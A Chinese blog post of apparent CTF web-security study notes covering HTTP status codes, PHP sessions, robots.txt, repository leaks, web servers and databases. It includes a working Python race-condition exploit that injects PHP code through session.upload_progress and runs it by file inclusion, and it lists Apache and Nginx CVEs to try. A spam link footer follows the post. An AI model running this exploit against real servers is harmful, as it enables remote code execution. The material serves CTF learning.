        • 表示服務(wù)器拒絕處理當(dāng)前請(qǐng)求,因?yàn)樵撜?qǐng)求提交的實(shí)體數(shù)據(jù)大小超過(guò)了服務(wù)器愿意或者能夠處理的范圍。此種情況下,服務(wù)器可以關(guān)閉連接以免客戶(hù)端繼續(xù)發(fā)送此請(qǐng)求。如果這個(gè)狀況是臨時(shí)的,服務(wù)器應(yīng)當(dāng)返回一個(gè)Retry-After的響應(yīng)頭,以告知客戶(hù)端可以在多少時(shí)間以后重新嘗試。

      • 414

        • 表示請(qǐng)求的URI長(zhǎng)度超過(guò)了服務(wù)器能夠解釋的長(zhǎng)度,因此服務(wù)器拒絕對(duì)該請(qǐng)求提供服務(wù)。通常將太多數(shù)據(jù)的結(jié)果編碼為GET請(qǐng)求的查詢(xún)字符串,在這種情況下,應(yīng)將其轉(zhuǎn)換為POST請(qǐng)求。

      • 通常的情況包括:

        • 本應(yīng)使用POST方法的表單提交變成了GET方法,導(dǎo)致查詢(xún)字符串過(guò)長(zhǎng);

        • 重定向URI“黑洞”,例如每次重定向把舊的URI作為新的URI的一部分,導(dǎo)致在若干次重定向后URI超長(zhǎng)。

        • 客戶(hù)端正在嘗試?yán)媚承┓?wù)器中存在的安全漏洞攻擊服務(wù)器,這類(lèi)服務(wù)器使用固定長(zhǎng)度的緩沖讀取或操作請(qǐng)求的URI,當(dāng)GET后的參數(shù)超過(guò)某個(gè)數(shù)值后,可能會(huì)產(chǎn)生緩沖區(qū)溢出,導(dǎo)致任意代碼被執(zhí)行,沒(méi)有此類(lèi)漏洞的服務(wù)器,應(yīng)當(dāng)返回414狀態(tài)碼。

      • 415

        • 對(duì)于當(dāng)前請(qǐng)求的方法和所請(qǐng)求的資源,請(qǐng)求中提交的互聯(lián)網(wǎng)媒體類(lèi)型并不是服務(wù)器中所支持的格式,因此請(qǐng)求被拒絕。例如??蛻?hù)端將圖像的格式上傳為svg,但服務(wù)器要求圖像使用上傳格式為jpg。

      • 416

        • 客戶(hù)端已經(jīng)要求文件的一部分,但服務(wù)器不能提供該部分。例如,如果客戶(hù)端要求文件的一部分超出文件尾端。

      • 417

        • 在請(qǐng)求頭Expect中指定的預(yù)期內(nèi)容無(wú)法被服務(wù)器滿(mǎn)足,或者這個(gè)服務(wù)器是一個(gè)代理服顯的證據(jù)證明在當(dāng)前路由的下一個(gè)節(jié)點(diǎn)上,Expect的內(nèi)容無(wú)法被滿(mǎn)足。

      • 421

        • 該請(qǐng)求針對(duì)的是無(wú)法產(chǎn)生響應(yīng)的服務(wù)器(例如因?yàn)檫B接重用)。

      • 422

        • 請(qǐng)求格式正確,但是由于含有語(yǔ)義錯(cuò)誤,無(wú)法響應(yīng)。

      • 423

        • 當(dāng)前的資源被鎖定。

      • 424

        • 由于之前的某個(gè)請(qǐng)求發(fā)生錯(cuò)誤,導(dǎo)致當(dāng)前的請(qǐng)求失敗。

      • 425

        • 服務(wù)器拒絕處理在Early Data中的請(qǐng)求,以規(guī)避可能的重放攻擊。

      • 重放攻擊是一種網(wǎng)絡(luò)攻擊,通過(guò)惡意的欺詐性地重復(fù)或拖延正常的數(shù)據(jù)傳輸而實(shí)施。因工作原理如同重放歌曲一樣而得名。

      • 426

        • 原服務(wù)器要求該請(qǐng)求滿(mǎn)足一定條件。這是為了防止“未更新”問(wèn)題,即客戶(hù)端讀取(GET)一個(gè)資源的狀態(tài),更改它,并將它寫(xiě)(PUT)回服務(wù)器,但這期間第三方已經(jīng)在服務(wù)器上更改了該資源的狀態(tài),因此導(dǎo)致了沖突。

      • 429

        • 用戶(hù)在給定的時(shí)間內(nèi)發(fā)送了太多的請(qǐng)求。旨在用于網(wǎng)絡(luò)限速。

      • 431

        • 服務(wù)器不愿處理請(qǐng)求,因?yàn)橐粋€(gè)或多個(gè)頭字段過(guò)大。

      • 451

        • 該訪問(wèn)因法律的要求而被拒絕。

      5xx

      • 500

        • 通用錯(cuò)誤消息,服務(wù)器遇到了一個(gè)未曾預(yù)料的狀況,導(dǎo)致了它無(wú)法完成對(duì)請(qǐng)求的處理。沒(méi)有給出具體錯(cuò)誤信息。

      • 501

        • 服務(wù)器不支持當(dāng)前請(qǐng)求所需要的某個(gè)功能。當(dāng)服務(wù)器無(wú)法識(shí)別請(qǐng)求的方法,并且無(wú)法支持其對(duì)任何資源的請(qǐng)求。

      • 502

        • 作為網(wǎng)關(guān)或者代理工作服務(wù)器嘗試執(zhí)行請(qǐng)求時(shí),從上游服務(wù)器收到無(wú)效的響應(yīng)。

      • 503

        • 由于臨時(shí)的服務(wù)器維護(hù)或者過(guò)載,服務(wù)器無(wú)法處理請(qǐng)求。這個(gè)狀況時(shí)暫時(shí)的,且在一段時(shí)間后就會(huì)恢復(fù)。

      • 504

        • 作為網(wǎng)關(guān)或者代理工作的服務(wù)器嘗試執(zhí)行請(qǐng)求時(shí),未能及時(shí)從上游服務(wù)器(URI標(biāo)識(shí)出的服務(wù)器,例如HTTP,FTP,LDAP)或者輔助服務(wù)器(例如DNS)收到的響應(yīng)。

      • 505

        • 服務(wù)器不支持,或者拒絕支持在請(qǐng)求中使用的HTTP版本。這暗示著服務(wù)器不能或不愿使用與客戶(hù)端相同的版本。響應(yīng)中應(yīng)當(dāng)包含一個(gè)描述了為何版本不被支持以及服務(wù)器支持哪些協(xié)議的實(shí)體。

      • 506

        • 代表服務(wù)器存在內(nèi)部配置錯(cuò)誤,被請(qǐng)求的協(xié)商變?cè)Y源被配置為在透明內(nèi)容協(xié)商中使用自己,因此在一個(gè)協(xié)商處理中不是一個(gè)合適的重點(diǎn)。

      • 507

        • 服務(wù)器無(wú)法存儲(chǔ)完成請(qǐng)求所必須的內(nèi)容。這個(gè)狀況被認(rèn)為是臨時(shí)的。

      • 508

        • 服務(wù)器在處理請(qǐng)求時(shí)陷入死循環(huán)。

      • 511

        • 客戶(hù)端需要進(jìn)行身份驗(yàn)證才能獲得網(wǎng)絡(luò)訪問(wèn)權(quán)限,旨在限制用戶(hù)群訪問(wèn)特定網(wǎng)絡(luò)。

      會(huì)話(Session)

      Session:在計(jì)算機(jī)中,尤其是在網(wǎng)絡(luò)應(yīng)用中,稱(chēng)為“會(huì)話控制”。Session對(duì)象存儲(chǔ)特定用戶(hù)會(huì)話所需的屬性及配置信息。這樣,當(dāng)用戶(hù)在應(yīng)用程序的Web頁(yè)之間跳轉(zhuǎn)時(shí),存儲(chǔ)在Session對(duì)象中的變量將不會(huì)丟失,而是在整個(gè)用戶(hù)會(huì)話中一直存在下去。

      由于html的特性,多個(gè)請(qǐng)求之間無(wú)關(guān)聯(lián),如果在/xxx.html中為登錄狀態(tài),那么跳轉(zhuǎn)到/yyy.html就會(huì)變成默認(rèn)的未登錄狀態(tài),seesion的出現(xiàn)是為了彌補(bǔ)這一缺陷,讓每一個(gè)用戶(hù)在多個(gè)請(qǐng)求中狀態(tài)一致。

      session是保存在服務(wù)端的,與之相對(duì)的是cookie,cookie是保存在客戶(hù)端的。每當(dāng)用戶(hù)使用一瀏覽器開(kāi)始對(duì)服務(wù)器發(fā)出請(qǐng)求,一個(gè)session就會(huì)被創(chuàng)建,當(dāng)用戶(hù)關(guān)閉瀏覽器結(jié)束訪問(wèn),session會(huì)被刪除。所以用同一個(gè)ip訪問(wèn)同一個(gè)網(wǎng)站,如果瀏覽器不同,用戶(hù)狀態(tài)也是不同的,所以session創(chuàng)建的標(biāo)準(zhǔn)是瀏覽器而不是ip。session不隨刷新頁(yè)面而消失。

      特別要注意的是,Session是一種技術(shù),一種形式,并不是某種特殊的文件格式或其他的,在下文中為了區(qū)別一些Session的具體實(shí)現(xiàn):如session、sessionstorage、localstorage還有redis,我將首字母大寫(xiě)的Session代指這項(xiàng)保持用戶(hù)會(huì)話的技術(shù),小寫(xiě)來(lái)代指具體的實(shí)現(xiàn)方式。

      1、php中的session

      每次我們?cè)L問(wèn)一個(gè)頁(yè)面,如果有開(kāi)啟session,也就是有session_start() 時(shí),就會(huì)自動(dòng)生成一個(gè)session_id 來(lái)標(biāo)注是這次會(huì)話的唯一ID,同時(shí)也會(huì)自動(dòng)往cookie里寫(xiě)入一個(gè)名字為PHPSESSID的變量,它的值正是session_id,當(dāng)這次會(huì)話沒(méi)結(jié)束,再次訪問(wèn)的時(shí)候,服務(wù)器會(huì)去讀取這個(gè)PHPSESSID的cookie是否有值有沒(méi)過(guò)期,如果能夠讀取到,則繼續(xù)用這個(gè)session_id,如果沒(méi)有,就會(huì)新生成一個(gè)session_id,同時(shí)生成PHPSESSID這個(gè)cookie。由于默認(rèn)生成的這個(gè)PHPSESSID cookie是會(huì)話,也就是說(shuō)關(guān)閉瀏覽器就會(huì)過(guò)期掉,所以,下次重新瀏覽時(shí),會(huì)重新生成一個(gè)session_id。

      這個(gè)session是32位的。

      session的存儲(chǔ)地址在php.ini文件中會(huì)被標(biāo)明,一般最后一級(jí)目錄會(huì)是\tmp,當(dāng)一個(gè)會(huì)話開(kāi)始的時(shí)候,服務(wù)器會(huì)在目錄下寫(xiě)入sess_xxxxxxxxxx文件,下劃線后的就是這個(gè)會(huì)話的session_id。

      一些session的服務(wù)端操作

      一般我們通過(guò)$_SESSION['<變量名>'] = ....將一些數(shù)據(jù)存儲(chǔ)在session中。這些數(shù)據(jù)最終會(huì)被以序列化后的格式存儲(chǔ)在sess_文件中。session.save_handler = files 表示的是session的存儲(chǔ)方式,默認(rèn)的是files文件的方式保存。

      一些常用的函數(shù)與參數(shù)

      save_handler不僅僅只能用文件files,還可以用我們常見(jiàn)的memcache 和 redis 來(lái)保存。

      session.use_cookies 默認(rèn)是1,表示會(huì)在瀏覽器里創(chuàng)建值為PHPSESSID的session_id,session.name = PHPSESSID 找個(gè)配置就是改這個(gè)名字的,這個(gè)名稱(chēng)可以進(jìn)行修改,如修改成PhPP,就會(huì)在瀏覽器cookie中創(chuàng)建PhPP的sessionid。

      session.auto_start = 0用來(lái)是否需要自動(dòng)開(kāi)啟session,默認(rèn)是不開(kāi)啟的,所有我們需要在代碼中用到session_start();函數(shù)開(kāi)啟,如果設(shè)置成1,那么session_id 也會(huì)自動(dòng)就生成了。

      session.cookie_lifetime = 0這個(gè)是設(shè)置在客戶(hù)端生成PHPSESSID這個(gè)cookie的過(guò)期時(shí)間,默認(rèn)是0,也就是關(guān)閉瀏覽器就過(guò)期,下次訪問(wèn),會(huì)再次生成一個(gè)session_id。所以,如果想關(guān)閉瀏覽器會(huì)話后,希望session信息能夠保持的時(shí)間長(zhǎng)一點(diǎn),可以把這個(gè)值設(shè)置大一點(diǎn),單位是秒。

      gc_divisor, gc_probability, gc_maxlifetime是回收這些sess_xxxxx 的文件,它是按照這3個(gè)參數(shù),組成的比率,來(lái)啟動(dòng)GC刪除這些過(guò)期的sess文件。gc_maxlifetime是sess_xxx文件的過(guò)期時(shí)間。

       

      2、sessionstorage和localstorage

      它們來(lái)自于Web Storage API ,這是一種新的機(jī)制, 使瀏覽器能以一種比使用 Cookie 更直觀的方式存儲(chǔ)鍵/值對(duì)。

      Web Storage 包含如下兩種機(jī)制:

      • sessionStorage 為每一個(gè)給定的源(given origin)維持一個(gè)獨(dú)立的存儲(chǔ)區(qū)域,該存儲(chǔ)區(qū)域在頁(yè)面會(huì)話期間可用(即只要瀏覽器處于打開(kāi)狀態(tài),包括頁(yè)面重新加載和恢復(fù))。

      • localStorage 同樣的功能,但是在瀏覽器關(guān)閉,然后重新打開(kāi)后數(shù)據(jù)仍然存在。

      這兩種機(jī)制是通過(guò) Window.sessionStorage和 Window.localStorage屬性使用(更確切的說(shuō),在支持的瀏覽器中 Window對(duì)象實(shí)現(xiàn)了 WindowLocalStorageWindowSessionStorage 對(duì)象并掛在其 localStoragesessionStorage 屬性下)—— 調(diào)用其中任一對(duì)象會(huì)創(chuàng)建Storage對(duì)象,通過(guò)Storage 對(duì)象,可以設(shè)置、獲取和移除數(shù)據(jù)項(xiàng)。對(duì)于每個(gè)源(origin)sessionStoragelocalStorage 使用不同的 Storage 對(duì)象——獨(dú)立運(yùn)行和控制。

       

      [技巧]3、session競(jìng)爭(zhēng)

      由于session的特性,導(dǎo)致流量大的服務(wù)器將會(huì)承受很大的session存儲(chǔ)壓力,所有會(huì)定義一個(gè)定時(shí)清除session的程序,當(dāng)我們的惡意程序包含在session中時(shí),也可能被服務(wù)端識(shí)別并刪除,這時(shí)候我們可以通過(guò)暴力手段不停上傳session文件一起到在服務(wù)端刪除本地session后仍然有新的session存在。

      session惡意代碼

      phpinfo()中存在這些數(shù)據(jù)

      1,session.save_handler  files   files
         表示session以文件的形式存儲(chǔ)。
      2,session.save_path /tmp    /tmp
         表示session存儲(chǔ)目錄在/tmp下。
      3,session.serialize_handler php php
         表示反序列化和序列號(hào)的處理器是PHP。
      4,session.upload_progress.cleanup   On  On
         表示文件上傳結(jié)束后,php會(huì)立即清除對(duì)應(yīng)session文件中的內(nèi)容。
      5,session.upload_progress.enabled   On  On
         表示upload_progress功能啟動(dòng),即瀏覽器向服務(wù)器上傳文件時(shí),php會(huì)把此次文件上傳的詳細(xì)信息存儲(chǔ)在session中。
      6,session.upload_progress.freq  1%  1%
      7,session.upload_progress.min_freq  1   1
         freq min_freq 兩項(xiàng)用來(lái)設(shè)置服務(wù)器端對(duì)進(jìn)度信息的更新頻率。合理的設(shè)置這兩項(xiàng)可以減輕服務(wù)器的負(fù)擔(dān)。
      8,session.upload_progress.name  PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
      9,session.upload_progress.prefix    upload_progress_    upload_progress_
         prefix name 兩項(xiàng)用來(lái)設(shè)置進(jìn)度信息在session中存儲(chǔ)的變量名/鍵名
      10,session.use_cookies  On  On
         表示使用cookie記錄sessionid。
      11,session.use_only_cookies On  On
         表示是否在客戶(hù)端僅僅使用 cookie 來(lái)存放會(huì)話 ID。
      12,session.use_strict_mode  Off Off
         值為off,表示Cookie中的sessionid可控。

      一般來(lái)說(shuō)PHP_SESSION_UPLOAD_PROGRESS是開(kāi)的,所以我們一般會(huì)往這個(gè)鍵值中寫(xiě)入惡意代碼,然后讓整個(gè)sess文件被文件包含后解析代碼,最終執(zhí)行代碼。

      NSSCTF - 第五空間 2021\EasyCleanup (ctfer.vip)為例

      服務(wù)端代碼出現(xiàn)

      if(isset($_GET['file'])){ 
         if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
         include $_GET['file'];
      }

      我們考慮進(jìn)行文件包含,之后使用其他方法先對(duì)phpinfo進(jìn)行查看,觀察是否關(guān)閉了session.upload_progress.cleanup,若沒(méi)有則可以直接使用burp上傳惡意代碼,若存在則需要不停上傳同一個(gè)session來(lái)確保惡意代碼能夠執(zhí)行。

      腳本編寫(xiě)

      我們一般通過(guò)python進(jìn)行腳本編寫(xiě)(python版本3.8+)

      首先導(dǎo)入兩個(gè)庫(kù)

      import threading
      import requests

      requests用來(lái)進(jìn)行網(wǎng)絡(luò)請(qǐng)求,threading用來(lái)分離線程,做到不斷循環(huán)上傳session從而競(jìng)爭(zhēng)。

      定義基本信息

      target_url = "http://xxx.xxx.xxx.xxx/index.php"#據(jù)情況而定
      session_id = "flag"#自行決定
      expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要執(zhí)行的代碼
      MyCookie = {'PHPSESSID': sessid}#設(shè)置本地cookie值和自定義的session_id一致
      proxies = {
         "http": "127.0.0.1:8080",
      }#設(shè)置本機(jī)代理,也可以不設(shè)置

      編寫(xiě)競(jìng)爭(zhēng)函數(shù)

      def send_file(session):#形參為后面多線程的指令集提供入口
         while True:
             resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)

      不停的上傳同樣的post請(qǐng)求。將結(jié)果存于res.txt中。

      編寫(xiě)讀取信息函數(shù)

      def getflag(session):
         while True:
             payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
             #根據(jù)漏洞進(jìn)行偽協(xié)議讀取文件
             resp = requests.get(url=payload_url)
             if 'upload_progress' in resp.text:
                 print(resp.text)
                 break

      main函數(shù)

      if __name__ == '__main__':
         session = requests.session()
         t = threading.Thread(target=send_file, args=(session,))#為競(jìng)爭(zhēng)函數(shù)創(chuàng)建一個(gè)新線程
         t.start()
         #兩個(gè)線程獨(dú)立運(yùn)行
         getflag(session)

      完整代碼

      import threading
      import requests
      ?
      target_url = "http://xxx.xxx.xxx.xxx/index.php"#據(jù)情況而定
      session_id = "flag"#自行決定
      expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要執(zhí)行的代碼
      MyCookie = {'PHPSESSID': sessid}#設(shè)置本地cookie值和自定義的session_id一致
      proxies = {
         "http": "127.0.0.1:8080",
      }#設(shè)置本機(jī)代理,也可以不設(shè)置
      ?
      def send_file(session):#形參為后面多線程的指令集提供入口
         while True:
             resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
             
      def getflag(session):
         while True:
             payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
             #根據(jù)漏洞進(jìn)行偽協(xié)議讀取文件
             resp = requests.get(url=payload_url)
             if 'upload_progress' in resp.text:
                 print(resp.text)
                 break
      ?
      if __name__ == '__main__':
         session = requests.session()
         t = threading.Thread(target=send_file, args=(session,))#為競(jìng)爭(zhēng)函數(shù)創(chuàng)建一個(gè)新線程
         t.start()
         #兩個(gè)線程獨(dú)立運(yùn)行
         getflag(session)
      參考文獻(xiàn)與拓展

      什么是session | 許小珂 (xuxiaoke.com)

      從第五空間 2021\EasyCleanup認(rèn)識(shí)php_session_Aiwin-Lau的博客-CSDN博客

      PHP Session.upload_progress - chalan630 - 博客園 (cnblogs.com)

      PHP:會(huì)話上傳進(jìn)度 (php官網(wǎng))

      對(duì)于session.upload_progress漏洞的理解_huamanggg的博客-CSDN博客

      詳解利用session進(jìn)行文件包含合天網(wǎng)安實(shí)驗(yàn)室的博客-CSDN博客session文件包含

      (三)robots協(xié)議

      詳解robots協(xié)議

      Robots協(xié)議(也稱(chēng)為爬蟲(chóng)協(xié)議、機(jī)器人協(xié)議等)的全稱(chēng)是“網(wǎng)絡(luò)爬蟲(chóng)排除標(biāo)準(zhǔn)”(Robots Exclusion Protocol),網(wǎng)站通過(guò)Robots協(xié)議告訴搜索引擎哪些頁(yè)面可以抓取,哪些頁(yè)面不能抓取。

      Robots協(xié)議也稱(chēng)為爬蟲(chóng)協(xié)議、爬蟲(chóng)規(guī)則、機(jī)器人協(xié)議,是網(wǎng)站國(guó)際互聯(lián)網(wǎng)界通行的道德規(guī)范,其目的是保護(hù)網(wǎng)站數(shù)據(jù)和敏感信息、確保用戶(hù)個(gè)人信息和隱私不被侵犯。“規(guī)則”中將搜索引擎抓取網(wǎng)站內(nèi)容的范圍做了約定,包括網(wǎng)站是否希望被搜索引擎抓取,哪些內(nèi)容不允許被抓取,而網(wǎng)絡(luò)爬蟲(chóng)可以據(jù)此自動(dòng)抓取或者不抓取該網(wǎng)頁(yè)內(nèi)容。如果將網(wǎng)站視為酒店里的一個(gè)房間,robots.txt就是主人在房間門(mén)口懸掛的“請(qǐng)勿打擾”或“歡迎打掃”的提示牌。這個(gè)文件告訴來(lái)訪的搜索引擎哪些房間可以進(jìn)入和參觀,哪些不對(duì)搜索引擎開(kāi)放。

      如果在服務(wù)器返回的請(qǐng)求中有disallowed之類(lèi)的提示則代表你可以嘗試訪問(wèn)robots協(xié)議(/robots.txt)來(lái)找找想要的內(nèi)容。

      (四)版本控制倉(cāng)庫(kù)的泄漏

      常見(jiàn)的版本控制軟件

      版本控制軟件提供完備的版本管理功能,用于存儲(chǔ)、追蹤目錄(文件夾)和文件的修改歷史,是軟件開(kāi)發(fā)者的必備工具,是軟件公司的基礎(chǔ)設(shè)施。版本控制軟件的最高目標(biāo),是支持軟件公司的配置管理活動(dòng),追蹤多個(gè)版本的開(kāi)發(fā)和維護(hù)活動(dòng),及時(shí)發(fā)布軟件。

      通常網(wǎng)站會(huì)使用這些版本控制倉(cāng)庫(kù)進(jìn)行動(dòng)態(tài)維護(hù),當(dāng)我們發(fā)現(xiàn)網(wǎng)站存在/.git等目錄的泄漏,代表其使用的版本控制倉(cāng)庫(kù)已經(jīng)泄漏地址,我們可以在里面找到很多無(wú)法通過(guò)正常訪問(wèn)手段查看的內(nèi)容。

      常見(jiàn)的版本控制倉(cāng)庫(kù)有CVS、SVN、git、Mercurial。

      (五)WEB服務(wù)器

      Web服務(wù)器當(dāng)是指駐留于因特網(wǎng)上某種類(lèi)型計(jì)算機(jī)的程序。當(dāng)Web瀏覽器(客戶(hù)端)連接到服務(wù)器上并請(qǐng)求文件時(shí),服務(wù)器會(huì)將處理該請(qǐng)求并將文件發(fā)送到該瀏覽器上,附帶的信息會(huì)告訴瀏覽器如何查看該文件(即文件類(lèi)型)。Web服務(wù)器會(huì)使用HTTP進(jìn)行信息交流,因此Web服務(wù)器也常被稱(chēng)為HTTP服務(wù)器。

      Web服務(wù)器可駐留于各種類(lèi)型的計(jì)算機(jī),從常見(jiàn)的PC到巨型的UNIX網(wǎng)絡(luò),以及其他各種類(lèi)型的計(jì)算機(jī)。它們通常經(jīng)過(guò)一條高速線路與因特網(wǎng)連接,如果對(duì)性能無(wú)所謂,則也可使用低速連接(甚至是調(diào)制解調(diào)器)。

      目前,市場(chǎng)上Web服務(wù)器產(chǎn)品的種類(lèi)很多,比較著名的有Apache、Netscape Enterpriise、 Zeus、AOLserver、Roxen WebSerer、Jigsew等。

      一般我們常見(jiàn)的web服務(wù)器有Nginx、Apache、IIS(Microsoft),這些web服務(wù)器有其各自的特性,作為用戶(hù)和服務(wù)器之間的橋梁,它們的側(cè)重點(diǎn)不一樣,Nginx應(yīng)對(duì)靜態(tài)請(qǐng)求效果很好(如.html),Apache應(yīng)對(duì)動(dòng)態(tài)請(qǐng)求(.js/.php/.asp)遠(yuǎn)遠(yuǎn)強(qiáng)于Nginx,所有根據(jù)一些我們能在服務(wù)器上見(jiàn)到的特征可以估測(cè)和判斷服務(wù)器使用的web服務(wù)器類(lèi)型。

      對(duì)于Apache服務(wù)器,有這些漏洞可以嘗試在早期版本使用:

      CVE-2021-41773(目錄穿越)

      CVE-2021-40438(遠(yuǎn)程執(zhí)行)

      等等。

      對(duì)于Nginx服務(wù)器

      CVE-2021-23017(DNS解析PoC)

      等等。

      (六)服務(wù)器模板引擎

      模板引擎(這里特指用于Web開(kāi)發(fā)的模板引擎)是為了使用戶(hù)界面與業(yè)務(wù)數(shù)據(jù)(內(nèi)容)分離而產(chǎn)生的,它可以生成特定格式的文檔,用于網(wǎng)站的模板引擎就會(huì)生成一個(gè)標(biāo)準(zhǔn)的HTML文檔。

      模板引擎本質(zhì)上就是執(zhí)行動(dòng)態(tài)渲染,一個(gè)熱搜榜不可能被寫(xiě)死,每次更改需要程序員自己手動(dòng)修改,模板引擎可以做到對(duì)指定內(nèi)容實(shí)時(shí)渲染替換,做到動(dòng)態(tài)更新。

      一些常見(jiàn)的模板引擎有l(wèi)ask(python3)、jinja2/flask(python)、smarty(PHP)、Twig(PHP)、Freemarker(JavaEE)、velocity(JavaEE);

      (七)數(shù)據(jù)庫(kù)

      數(shù)據(jù)庫(kù)廣泛用于服務(wù)器,用來(lái)存儲(chǔ)大量的數(shù)據(jù)并進(jìn)行讀取等操作,目前市面上數(shù)據(jù)庫(kù)類(lèi)型種類(lèi)繁多,有關(guān)系型數(shù)據(jù)庫(kù)和非關(guān)系型數(shù)據(jù)庫(kù)之分,目前最為常見(jiàn)的數(shù)據(jù)庫(kù)是MySQL,因?yàn)槠溟_(kāi)源和免費(fèi)而受到眾多開(kāi)發(fā)者的支持。

      但是MySQL在處理超巨量型數(shù)據(jù)時(shí)十分力不從心,專(zhuān)業(yè)型數(shù)據(jù)庫(kù)Oracle解決了這個(gè)問(wèn)題,成為企業(yè)的數(shù)據(jù)庫(kù)解決方案,此外還有Microsoft的SQL Sever和Access,非關(guān)系型數(shù)據(jù)庫(kù)MongoDB,以存儲(chǔ)鍵值高效而持續(xù)聞名的redis。

      不同的數(shù)據(jù)庫(kù)在服務(wù)端用處也不一致,但他們基本都使用同一的SQL語(yǔ)言進(jìn)行數(shù)據(jù)庫(kù)操作,這使得數(shù)據(jù)庫(kù)的學(xué)習(xí)成本降低。

      MySQL+php是常見(jiàn)的前端組合,它們被廣泛用于中小型論壇、博客或其他網(wǎng)站,開(kāi)發(fā)成本低。

      一般服務(wù)器中不適用Access作為數(shù)據(jù)庫(kù)存儲(chǔ)。

      redis常用來(lái)存儲(chǔ)需要反復(fù)讀取的信息,如session信息。redis可以被用來(lái)提權(quán),以此來(lái)獲得服務(wù)器的root權(quán)限。

      SQL語(yǔ)句大全

       
      posted @ 2022-09-02 21:45  lamaper  閱讀(215)  評(píng)論(0)    收藏  舉報(bào)

      友情鏈接 jiuler

      主站蜘蛛池模板: 黄色国产精品一区二区三区| 精品人妻日韩中文字幕| 国产精品第一页一区二区 | 久久婷婷五月综合97色直播| 国产精品第一页中文字幕 | 国产资源精品中文字幕| 久久无码av中文出轨人妻| 久热这里只国产精品视频| 91精品蜜臀国产综合久久| 国产精品福利自产拍久久| 中文字幕日韩有码av| 国产精品三级一区二区三区| 国产高清亚洲一区亚洲二区| 亚洲高清中文字幕在线看不卡| 久热re这里精品视频在线6| 国产在线午夜不卡精品影院| 亚洲国产精品综合久久20| 丁香五香天堂网| 精品亚洲一区二区三区在线观看| 羞羞影院午夜男女爽爽免费视频 | 草草浮力影院| 国产美女裸身网站免费观看视频| 无码毛片一区二区本码视频 | 元码人妻精品一区二区三区9| 国产女同一区二区在线| 亚洲av成人一区二区| 夜夜添无码一区二区三区| 国产69精品久久久久99尤物| 亚洲乱码一二三四区国产| 久久天天躁夜夜躁狠狠ds005| 国产超碰无码最新上传| 色熟妇人妻久久中文字幕| 性欧美暴力猛交69hd| 欧美牲交a欧美牲交aⅴ免费真| 中美日韩在线一区黄色大片| 久久青草国产精品一区| 三上悠亚精品一区二区久久| 人妻一区二区三区人妻黄色| 国产a网站| 一本久久a久久精品综合| 日本东京热不卡一区二区|